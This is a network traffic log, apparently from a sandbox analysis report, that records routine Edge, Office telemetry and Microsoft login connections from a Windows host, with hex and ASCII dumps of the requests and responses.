2024-11-25 13:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131446Z-178bfbc474bpscmfhC1NYCfc2c000000061g00000000d8f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:47 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49860	20.110.205.119	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	1261	OUT	GET /c.gif?rnd=1732540483020&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2ac1881eaff6422fb06ab1deeda022a5&activityId=2ac1881eaff6422fb06ab1deeda022a5&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7FB21901C9F842068E7F2C3609008CF3&MUID=331C9059D5CC671123A1851BD4CD6669 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; SM=T
2024-11-25 13:14:47 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=331C9059D5CC671123A1851BD4CD6669; domain=.msn.com; expires=Sat, 20-Dec-2025 13:14:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=331C9059D5CC671123A1851BD4CD6669; domain=c.msn.com; expires=Sat, 20-Dec-2025 13:14:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 13:14:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 13:24:47 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close Content-Length: 42
2024-11-25 13:14:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:47 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:47 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131447Z-178bfbc474bmqmgjhC1NYCy16c00000007q0000000001m49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49866	23.96.180.189	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:48 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=331C9059D5CC671123A1851BD4CD6669&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=aa68e6b13cfb450cdd48bd85340bec78 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 13:14:48 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2756 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132731-T700343875-C128000000002114869+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114869+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 13:14:47 GMT Connection: close
2024-11-25 13:14:48 UTC	2756	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 52 69 6f 20 64 65 20 4a 61 6e 65 69 72 6f 2c 20 42 72 61 7a 69 6c 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 52 69 6f 2b 64 65 2b 4a Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Rio de Janeiro, Brazil\",\"cta\":\"https:\/\/www.bing.com\/search?q=Rio+de+J

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:48 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131449Z-178bfbc474bscnbchC1NYCe7eg00000007mg00000000bwny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131449Z-178bfbc474bpscmfhC1NYCfc2c000000063000000000anbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:49 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:48 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131449Z-15b8b599d88phfhnhC1TEBr51n0000000640000000008d0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:49 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a6b1c0e3-801e-002a-1ea2-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131449Z-178bfbc474bgvl54hC1NYCsfuw00000007gg000000007gkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49871	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 13:14:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:51 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 970c90db-bbfc-44e8-bcf0-e6a1a77daac4 PPServer: PPV: 30 H: SN1PEPF0003FB4A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:50 GMT Connection: close Content-Length: 11389
2024-11-25 13:14:51 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49873	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:49 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=420462 Expires: Sat, 30 Nov 2024 10:02:31 GMT Date: Mon, 25 Nov 2024 13:14:49 GMT Connection: close
2024-11-25 13:14:49 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
